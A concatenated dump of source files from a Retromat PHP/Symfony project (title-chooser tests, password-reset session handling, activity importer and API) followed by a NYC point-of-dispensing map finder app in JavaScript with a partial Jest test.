1: [Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = $chooser->chooseTitleId('1-2-3-4-5', 'de');
$titleId2 = $chooser->chooseTitleId('1-2-3-4-6', 'de');
$this->assertNotEquals($titleId2, $titleId1);
$titleId2 = $chooser->chooseTitleId('1-2-3-4-7', 'de');
$this->assertNotEquals($titleId2, $titleId1);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdPlanAlwaysGetsSameTitle()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agiler, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = $chooser->chooseTitleId('1-2-3-4-5');
// if it works 100 times in a row, we believe it always works
for ($i = 0; $i < 100; $i++) {
$titleId2 = $chooser->chooseTitleId('1-2-3-4-5');
$this->assertEquals($titleId2, $titleId1);
}
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdPlanAlwaysGetsSameTitleDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agile, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Agenda]
de:
sequence_of_groups:
0: [0, 1, 2]
1: [ 1, 2]
2: [0, 1 ]
groups_of_terms:
0: [Agiler, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = $chooser->chooseTitleId('1-2-3-4-5', 'de');
// if it works 100 times in a row, we believe it always works
for ($i = 0; $i < 100; $i++) {
$titleId2 = $chooser->chooseTitleId('1-2-3-4-5', 'de');
$this->assertEquals($titleId2, $titleId1);
}
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdMaxLength()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agiler, Scrum, Kanban, XP]
1: [Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = \strlen('Agenda'.': '.'1-2-3-4-5');
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$titleId = $chooser->chooseTitleId($planId);
$titleString = $title->render($titleId);
$fullTitle = $titleString.' '.$planId;
$this->assertLessThanOrEqual(
$maxLengthIncludingPlanId,
\strlen($fullTitle),
'This is longer than '.$maxLengthIncludingPlanId.': '.$fullTitle
);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testChooseTitleIdMaxLengthDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", Agiler, Scrum, Kanban, XP]
1: ["", Retro, Retrospective]
2: [Plan, Ablaufplan]
YAML;
$titleParts = Yaml::parse($yaml);
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = \strlen('Agenda'.': '.'1-2-3-4-5');
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$titleId = $chooser->chooseTitleId($planId, 'de');
$titleString = $title->render($titleId, 'de');
$fullTitle = $titleString.' '.$planId;
$this->assertLessThanOrEqual(
$maxLengthIncludingPlanId,
\strlen($fullTitle),
'This is longer than '.$maxLengthIncludingPlanId.': '.$fullTitle
);
}
public function testChooseTitleIdMaxLengthNotFeasible(): void
{
$this->expectException(NoGroupLeftToDrop::class);
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0]
groups_of_terms:
0: ["Foo"]
YAML;
$titleParts = Yaml::parse($yaml);
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = 2;
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$chooser->chooseTitleId($planId);
}
/**
* @group dev
*/
public function testChooseTitleIdMaxLengthNotFeasibleDe(): void
{
$this->expectException(NoGroupLeftToDrop::class);
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0]
groups_of_terms:
0: ["Foo"]
de:
sequence_of_groups:
0: [0]
groups_of_terms:
0: ["Foo"]
YAML;
$titleParts = Yaml::parse($yaml);
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = 2;
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$chooser->chooseTitleId($planId, 'de');
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOptionalTermsUntilShortEnough()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
YAML;
$titleParts = Yaml::parse($yaml);
$titleId1 = '0:0-1-1-1-1-1-1-1-1-1';
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = \strlen('foo'.': '.$planId);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$titleId2 = $chooser->dropOptionalTermsUntilShortEnough($titleId1, $planId);
$this->assertEquals('0:0-0-0-0-0-0-0-0-0-0', $titleId2);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOptionalTermsUntilShortEnoughDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
de:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
YAML;
$titleParts = Yaml::parse($yaml);
$titleId1 = '0:0-1-1-1-1-1-1-1-1-1';
$planId = '1-2-3-4-5';
$maxLengthIncludingPlanId = \strlen('foo'.': '.$planId);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$titleId2 = $chooser->dropOptionalTermsUntilShortEnough($titleId1, $planId, 'de');
$this->assertEquals('0:0-0-0-0-0-0-0-0-0-0', $titleId2);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOneOptionalTerm()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = '0:0-2-0';
$titleId2 = $chooser->dropOneOptionalTerm($titleId1);
$this->assertEquals('0:0-0-0', $titleId2);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOneOptionalTermDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = '0:0-2-0';
$titleId2 = $chooser->dropOneOptionalTerm($titleId1, 'de');
$this->assertEquals('0:0-0-0', $titleId2);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOneOptionalTermDeterministicRandomness()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = '0:0-1-1-1-1-1-1-1-1-1';
// some term is dropped
\mt_srand(0);
$titleId2 = $chooser->dropOneOptionalTerm($titleId1);
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId2);
// same seed, same term dropped
\mt_srand(0);
$titleId3 = $chooser->dropOneOptionalTerm($titleId1);
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId3);
$this->assertEquals($titleId2, $titleId3);
// different seed, different terms dropped
\mt_srand(1);
$titleId4 = $chooser->dropOneOptionalTerm($titleId1);
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId4);
$this->assertNotEquals($titleId2, $titleId4);
}
/**
* @throws NoGroupLeftToDrop
* @throws InconsistentInputException
*/
public function testDropOneOptionalTermDeterministicRandomnessDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
de:
sequence_of_groups:
0: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
groups_of_terms:
0: ["foo"]
1: ["", "bar1"]
2: ["", "bar2"]
3: ["", "bar3"]
4: ["", "bar4"]
5: ["", "bar5"]
6: ["", "bar6"]
7: ["", "bar7"]
8: ["", "bar8"]
9: ["", "bar9"]
YAML;
$titleParts = Yaml::parse($yaml);
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title);
$titleId1 = '0:0-1-1-1-1-1-1-1-1-1';
// some term is dropped
\mt_srand(0);
$titleId2 = $chooser->dropOneOptionalTerm($titleId1, 'de');
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId2);
// same seed, same term dropped
\mt_srand(0);
$titleId3 = $chooser->dropOneOptionalTerm($titleId1, 'de');
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId3);
$this->assertEquals($titleId2, $titleId3);
// different seed, different terms dropped
\mt_srand(1);
$titleId4 = $chooser->dropOneOptionalTerm($titleId1, 'de');
$this->assertNotEquals('0:0-1-1-1-1-1-1-1-1-1', $titleId4);
$this->assertNotEquals($titleId2, $titleId4);
}
/**
* @throws InconsistentInputException
*/
public function testIsShortEnough()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$maxLengthIncludingPlanId = 15;
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$planId = '1-2-3-4-5';
$this->assertFalse($chooser->isShortEnough('0:1-1-1', $planId));
$this->assertTrue($chooser->isShortEnough('0:0-0-0', $planId));
}
/**
* @throws InconsistentInputException
*/
public function testIsShortEnoughDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: ["", "Agile", "Scrum", "Kanban", "XP"]
1: ["", "Retro", "Retrospective"]
2: ["Plan", "Agenda"]
YAML;
$titleParts = Yaml::parse($yaml);
$maxLengthIncludingPlanId = 15;
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$planId = '1-2-3-4-5';
$this->assertFalse($chooser->isShortEnough('0:1-1-1', $planId, 'de'));
$this->assertTrue($chooser->isShortEnough('0:0-0-0', $planId, 'de'));
}
/**
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
public function testChooseTitleIdLocaleHandlingRu()
{
$yaml = <<<YAML
ru:
sequence_of_groups:
0: [ 0, 1, 3, 5, 6, 7, 8, 10 ]
1: [ 0, 2, 4, 5, 6, 7, 9 ]
2: [ 0, 1, 3, 5, 6, 7, 8, 10 ]
3: [ 0, 2, 4, 5, 6, 7, 9 ]
4: [ 0, 1, 5, 7, 11 ]
5: [ 0, 1, 5, 8, 11 ]
6: [ 0, 2, 5, 7, 11 ]
7: [ 0, 2, 5, 8, 11 ]
8: [ 0, 12, 1, 3, 5, 6, 10 ]
9: [ 0, 12, 2, 4, 5, 6, 9 ]
10: [ 0, 12, 1, 3, 5, 6, 10 ]
11: [ 0, 12, 2, 4, 5, 6, 9 ]
12: [ 0, 13, 5, 6, 7, 8, 10 ]
13: [ 0, 13, 5, 6, 7, 9 ]
14: [ 0, 13, 5, 6, 7, 8, 10 ]
15: [ 0, 13, 5, 6, 7, 9 ]
groups_of_terms:
# "" as first element marks the group as optional (may be skipped to satisfy length constraints)
0: ["Retromat:"]
1: ["", "Канбан", "Lean"] # either 1+3 (without iterations) or 2+4 (with iteration)
2: ["", "Аджайл", "Скрам", "XP", "Экстремальное программирование"]
3: ["", "Релиз", "Проект", "Программа", "Процесс", "Команда"]
4: ["", "Релиз", "Проект", "Программа", "Процесс", "Команда", "Итерация", "Цикл", "Спринт"]
5: ["Ретроспектива", "Ретро", "Post Mortem", "A3", "Извлечение уроков", "Отражение", "Проверка и адаптация", "Анализ"]
6: ["", "Встреча", "Событие", "Обсуждение", "Церемония"]
7: ["", "План", "Повестка дня", "Структура", "Эксперимент"]
8: ["", "Идеи", "Вдохновение", "Пример"]
9: ["", "упражнения"] # either 9 or 10
10: ["", "с 5 действиями", "с 5 этапами", "с 5 шагами", "с 5 идеями", "с 5 видами деятельности", "с 5 примерами действий"]
11: ["", "Генератор", "Инструмент", "Руководство", "Справочник"]
12: ["", "Планируйте Вашу", "Организуйте Вашу", "Создайте Вашу", "Подготовьте Вашу"]
13: ["", "Инструменты Скрам Мастера:", "Инструменты Скраммастера:", "Инструменты фасилитатора:", "Инструментарий Скрам Мастера:", "Инструментарий Скраммастера:", "Инструментарий фасилитатора:"]
YAML;
$titleParts = Yaml::parse($yaml);
$maxLengthIncludingPlanId = 60;
$title = new TitleRenderer($titleParts);
$chooser = new TitleChooser($titleParts, $title, $maxLengthIncludingPlanId);
$titleId = $chooser->chooseTitleId('70-4-8-11-14', 'ru');
$this->assertEquals('11:0-1-0-6-7-0-0', $titleId);
}
}
<file_sep><?php
namespace App\Model\User;
use App\Model\User\Model\UserResetPasswordToken;
use Symfony\Component\HttpFoundation\RequestStack;
class UserResetPasswordSessionManager
{
private RequestStack $requestStack;
/**
* @param RequestStack $requestStack
*/
public function __construct(RequestStack $requestStack)
{
$this->requestStack = $requestStack;
}
/**
* @param string $token
*/
public function setToken(string $token): void
{
$this->requestStack->getCurrentRequest()->getSession()->set('ResetPasswordPublicToken', $token);
}
/**
* @return string|null
*/
public function getToken(): ?string
{
return $this->requestStack->getCurrentRequest()->getSession()->get('ResetPasswordPublicToken');
}
/**
* @param UserResetPasswordToken $token
*/
public function setUserResetPasswordTokenObject(UserResetPasswordToken $token): void
{
$this->requestStack->getCurrentRequest()->getSession()->set('UserResetPasswordToken', $token->flushToken());
}
/**
* @return UserResetPasswordToken|null
*/
public function getUserResetPasswordTokenObject(): ?UserResetPasswordToken
{
return $this->requestStack->getCurrentRequest()->getSession()->get('UserResetPasswordToken');
}
/**
* @return void
*/
public function flushSession(): void
{
$this->requestStack->getCurrentRequest()->getSession()->remove('ResetPasswordPublicToken');
$this->requestStack->getCurrentRequest()->getSession()->remove('ResetPasswordCheckEmail');
$this->requestStack->getCurrentRequest()->getSession()->remove('UserResetPasswordToken');
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Importer\Activity;
use App\Entity\Activity;
use App\Model\Importer\Activity\Exception\InvalidActivityException;
use App\Model\Importer\Activity\Hydrator\ActivityHydrator;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\Validator\Validator\ValidatorInterface;
final class ActivityImporter
{
private EntityManagerInterface $entityManager;
private ActivityReader $reader;
private ActivityHydrator $activityHydrator;
private ValidatorInterface $validator;
private array $locales;
/**
* @param array|string[] $locales
*/
public function __construct(
EntityManagerInterface $entityManager,
ActivityReader $reader,
ActivityHydrator $activityHydrator,
ValidatorInterface $validator,
array $locales = ['en']
) {
$this->entityManager = $entityManager;
$this->reader = $reader;
$this->activityHydrator = $activityHydrator;
$this->validator = $validator;
$this->locales = $locales;
}
/**
* @throws InvalidActivityException
*/
public function import()
{
$this->import2Multiple($this->locales);
}
/**
* @throws InvalidActivityException
*/
public function import2Multiple(array $locales = [])
{
foreach ($locales as $locale) {
$this->import2($locale);
}
// Re-import English at the end to guarantee that
// all meta data is used from Enlish translation.
// Not the most beautiful or efficient soultion,
// but it runs very rarely and will be deleted
// as soon as activities live in the database.
$this->import2('en');
}
/**
* @throws InvalidActivityException
*/
public function import2(string $locale = 'en')
{
$this->reader->setCurrentLocale($locale);
$activityRepository = $this->entityManager->getRepository('App:Activity');
foreach ($this->reader->extractAllActivities() as $activityArray) {
$activity = new Activity();
$activity->setDefaultLocale($locale);
$activityFromReader = $this->activityHydrator->hydrateFromArray($activityArray, $activity);
$violations = $this->validator->validate($activityFromReader);
if (0 === \count($violations)) {
$activityFromDb = $activityRepository->findOneBy(['retromatId' => $activityArray['retromatId']]);
if (isset($activityFromDb)) {
$activityFromDb->setDefaultLocale($locale);
$this->activityHydrator->hydrateFromArray($activityArray, $activityFromDb);
$activityFromDb->mergeNewTranslations();
} else {
$activityFromReader->mergeNewTranslations();
$this->entityManager->persist($activityFromReader);
}
} else {
$message = " This activity:\n ".(string) $activityFromReader."\n has these validations:\n ".(string) $violations."\n";
throw new InvalidActivityException($message);
}
}
$this->entityManager->flush();
}
}
<file_sep><?php
namespace App\Model\Importer\Activity\Exception;
final class InvalidActivityException extends \Exception
{
}
<file_sep><?php
namespace App\Controller;
use App\Entity\Activity;
use App\Model\Activity\Expander\ActivityExpander;
use App\Model\Activity\Localizer\ActivityLocalizer;
use App\Repository\ActivityRepository;
use FOS\RestBundle\Context\Context;
use FOS\RestBundle\Controller\AbstractFOSRestController;
use FOS\RestBundle\Controller\Annotations as Rest;
use FOS\RestBundle\View\View;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
final class ActivityApiController extends AbstractFOSRestController
{
private const SERIALIZER_GROUP = 'api';
private ActivityLocalizer $activityLocalizer;
private ActivityExpander $activityExpander;
private ActivityRepository $activityRepository;
/**
* @param ActivityRepository $activityRepository
* @param ActivityExpander $activityExpander
* @param ActivityLocalizer $activityLocalizer
*/
public function __construct(
ActivityRepository $activityRepository,
ActivityExpander $activityExpander,
ActivityLocalizer $activityLocalizer
) {
$this->activityLocalizer = $activityLocalizer;
$this->activityExpander = $activityExpander;
$this->activityRepository = $activityRepository;
}
/**
* @Rest\Get("/api/activities", name="activities")
* @param Request $request
* @return View
*/
public function getActivities(Request $request): View
{
$request->setLocale($request->query->get('locale', 'en'));
$activities = $this->activityRepository->findAllOrdered();
$localizedActivities = $this->activityLocalizer->localize($activities, $request->getLocale(), true);
return $this->view($localizedActivities, Response::HTTP_OK)->setContext((new Context())->addGroup(self::SERIALIZER_GROUP));
}
/**
* @Rest\Get("/api/activity/{id}", name="activity")
* @param Request $request
* @param string $id
* @return View
*/
public function getActivity(Request $request, string $id): View
{
$request->setLocale($request->query->get('locale', 'en'));
/** @var $activity Activity */
$activity = $this->activityRepository->find($id);
$this->activityExpander->expandSource($activity);
return $this->view($activity, Response::HTTP_OK)->setContext((new Context())->addGroup(self::SERIALIZER_GROUP));
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
class TitleRenderer
{
/**
* @var array
*/
private $parts = [];
/**
* Title constructor.
* @param array $parts
*/
public function __construct(array $parts)
{
$this->parts = $parts;
}
/**
* @param $idString
* @return string
* @throws InconsistentInputException
*/
public function render(string $idString, string $locale = 'en'): string
{
$parts = $this->extractTitleParts($locale);
$idStringParts = \explode(':', $idString);
$sequenceOfGroups = $parts['sequence_of_groups'][$idStringParts[0]];
$fragmentIds = \explode('-', $idStringParts[1]);
unset($idString, $idStringParts);
if (\count($fragmentIds) != \count($sequenceOfGroups)) {
throw new InconsistentInputException(
'Number of frament ids differs from number of groups in the sequence of groups. They need to be equal.'
);
}
$fragments = [];
for ($i = 0; $i < \count($fragmentIds); $i++) {
$fragment = $parts['groups_of_terms'][$sequenceOfGroups[$i]][$fragmentIds[$i]];
if (0 < \strlen($fragment)) {
$fragments[] = $fragment;
}
}
return \implode(' ', $fragments);
}
/**
* @param string $locale
* @return array
* @throws InconsistentInputException
*/
private function extractTitleParts(string $locale): array
{
if (\array_key_exists($locale, $this->parts)) {
return $this->parts[$locale];
} else {
throw new InconsistentInputException('Locale not found in parts: '.$locale);
}
}
}
|
afb28b858801f3d1e9bd1ff642e8b228ba2631a6
|
[
"YAML",
"JavaScript",
"Markdown",
"PHP",
"Dockerfile",
"Shell"
] | 107 |
PHP
|
findingmarbles/Retromat
|
78de4e692904846b97bfa4cde8b3b058c7b2982c
|
8bd4660ea75a4cc683e76ce5c8461f9f3898d62b
|
refs/heads/master
|
<repo_name>cmenedes/pods<file_sep>/src/js/App.js
/**
* @module pods/App
*/
import $ from 'jquery'
import pods from './pods'
import decorations from './decorations'
import FinderApp from 'nyc-lib/nyc/ol/FinderApp'
import GeoJson from 'ol/format/GeoJSON'
import facilityStyle from './facility-style'
import {extend as extentExtend} from 'ol/extent'
import Directions from 'nyc-lib/nyc/Directions'
import Point from 'ol/geom/Point'
import Layer from 'ol/layer/Vector'
class App extends FinderApp {
/**
* @desc Create an instance of App
* @public
* @constructor
* @param {module:nyc-lib/nyc/Content~Content} content The POD content
* @param {string} url The POD data URL
*/
constructor(content, url) {
const filters = [{
title: 'Borough',
choices: [
{ name: 'boro', values: ['Brooklyn'], label: 'Brooklyn', checked: true },
{ name: 'boro', values: ['Bronx'], label: 'Bronx', checked: true },
{ name: 'boro', values: ['Queens'], label: 'Queens', checked: true },
{ name: 'boro', values: ['Staten Island'], label: 'Staten Island', checked: true },
{ name: 'boro', values: ['Manhattan'], label: 'Manhattan', checked: true }
]
}]
if (content.message('active') === 'true') {
filters.push({
title: 'Status',
choices: [
{ name: 'status', values: ['Open to Public'], label: 'Open to Public', checked: true },
{ name: 'status', values: ['Mobilizing'], label: 'Opening Soon', checked: true },
{ name: 'status', values: ['Closed to Public', 'Demobilizing', 'Demobilized'], label: 'Closed to Public', checked: true }
]
})
}
super({
title: content.message('title'),
splashOptions: {
message: content.message('splash'),
buttonText: ['Screen reader instructions', 'View map to find your closest POD Site']
},
facilityUrl: url,
facilityFormat: new GeoJson({
dataProjection: 'EPSG:2263',
featureProjection: 'EPSG:3857'
}),
facilityTabTitle: 'PODs',
facilityStyle: facilityStyle.pointStyle,
facilitySearch: { displayField: 'search_label', nameField: 'name' },
decorations: [{ content: content }, decorations],
filterChoiceOptions: filters,
geoclientUrl: pods.GEOCLIENT_URL,
directionsUrl: pods.DIRECTIONS_URL,
defaultDirectionsMode: 'WALKING',
highlightStyle: facilityStyle.highlightStyle
})
this.content = content
this.addMarquee()
this.addDescription()
this.addLegend()
this.rearrangeLayers()
this.addLabels()
this.highlightSite()
$('.srch input').attr('placeholder', 'Search for an address in NYC...')
}
rearrangeLayers() {
this.map.getBaseLayers().labels.base.setZIndex(0)
this.layer.setZIndex(1)
}
addLabels() {
this.map.addLayer(
new Layer({
source: this.source,
style: facilityStyle.textStyle,
declutter: true,
zIndex: 2
})
)
}
highlightSite() {
const highlight = this.highlightListItem
const map = this.map
map.on('pointermove', event => {
$('.lst-it').removeClass('active')
map.forEachFeatureAtPixel(event.pixel, highlight)
})
}
highlightListItem(feature) {
$(`.${feature.getId()}`).parent().addClass('active')
}
addMarquee() {
const active = this.content.message('active')
const marquee = this.content.message('marquee')
if (active === 'true') {
$('body').addClass('alert')
$('#marquee div>div>div').html(marquee)
}
}
addDescription() {
let list = $('#facilities .list')
const description = this.content.message('description')
if(description) {
let description = `<div class="description"><div class="desc">${this.content.message('description')}</div></div>`
$(description).insertBefore(list)
}
}
addLegend() {
const active = this.content.message('active')
if(active == 'true'){
let list = $('#facilities .list')
$('.legend').css('display', 'block')
$('.legend').insertBefore(list)
}
}
located(location) {
super.located(location)
this.zoomToExtent(location.coordinate, 3)
}
zoomToExtent(coord, limit){
let extent = new Point(coord).getExtent()
const features = this.source.nearest(coord, limit)
features.forEach(f => {
extent = extentExtend(extent, f.getGeometry().getExtent())
})
this.view.fit(extent, {size: this.map.getSize(), duration: 500})
}
zoomTo(feature) {
const popup = this.popup
popup.hide()
this.map.once('moveend', () => {
popup.showFeature(feature)
})
if ($('#tabs .btns h2:first-of-type').css('display') !== 'none') {
this.tabs.open('#map')
}
this.zoomToExtent(feature.getGeometry().getCoordinates(), 4)
}
}
export default App<file_sep>/src/js/index.js
import Content from 'nyc-lib/nyc/Content'
import pods from './pods'
import App from './App'
Content.loadCsv({
url: pods.CONTENT_URL,
}).then(content => {
let pods_facility_url = content.message('pods_url')
if (content.message('active') === 'true') {
pods_facility_url += encodeURIComponent(pods.ACTIVE_POD_WHERE_CLAUSE)
}
new App(content, pods_facility_url)
})
<file_sep>/__tests__/decorations.test.js
import decorations from '../src/js/decorations'
import OlFeature from 'ol/Feature'
import {examplePOD1, examplePOD2, examplePOD3, examplePOD4, examplePOD6} from './features.mock'
import nyc from 'nyc-lib/nyc'
describe('decorations', () => {
let container, extendedDecorations
beforeEach(() => {
$.resetMocks()
container = $('<div></div>')
$('body').append(container)
extendedDecorations = {
nameHtml() {
return '<p>A Name</p>'
},
addressHtml() {
return '<p>An Address</p>'
},
distanceHtml(screen) {
return (screen ? '<p>screen</p>' : '<p>A Distance</p>')
},
mapButton() {
return '<p>Map</p>'
},
directionsButton() {
return '<p>Directions</p>'
},
handleOver() {
return 'over'
},
handleOut() {
return 'out'
}
}
$.extend(examplePOD1, extendedDecorations)
$.extend(examplePOD4, extendedDecorations)
})
afterEach(() => {
container.remove()
jest.resetModules()
})
test('extendFeature', () => {
expect.assertions(4)
examplePOD1.extendFeature()
expect(examplePOD1.active).toBe(examplePOD1.content.message("active"))
expect(examplePOD1.getId()).toBe(examplePOD1.get('id'))
expect(examplePOD1.get('search_label')).not.toBeNull()
expect(examplePOD1.get('search_label')).toBe(`<b><span class="srch-lbl-lg">${examplePOD1.get('name')}</span></b><br>
<span class="srch-lbl-sm">${examplePOD1.get('addr')}</span>`)
})
test('html - active true', () => {
expect.assertions(8)
let date = new Date(examplePOD1.get('updated'))
const time = date.toLocaleTimeString()
date = date.toLocaleDateString()
examplePOD1.extendFeature()
expect(examplePOD1.html()).toEqual($(`<div class="facility POD_ID closed-to-public"><p>A Distance</p><p>A Name</p><p>screen</p><p>An Address</p><ul><li><b>Status: </b>Closed to Public</li><li><b>Last Updated: </b>${date} ${time}</li></ul><p>Map</p><p>Directions</p><a class="btn rad-all prep" href="Link" target="_blank">Prepare For Your Visit</a></div>`))
expect(examplePOD1.html().data('feature')).toBe(examplePOD1)
expect(examplePOD1.html()).not.toBeNull()
$.resetMocks()
$(examplePOD1.html()).trigger('mouseover')
expect($.proxy).toHaveBeenCalledTimes(2)
expect($.proxy.mock.calls[0][0]).toBe(examplePOD1.handleOver)
expect($.proxy.mock.calls[0][1]).toBe(examplePOD1)
expect($.proxy.mock.calls[1][0]).toBe(examplePOD1.handleOut)
expect($.proxy.mock.calls[1][1]).toBe(examplePOD1)
})
test('html - active false', () => {
expect.assertions(8)
examplePOD4.extendFeature()
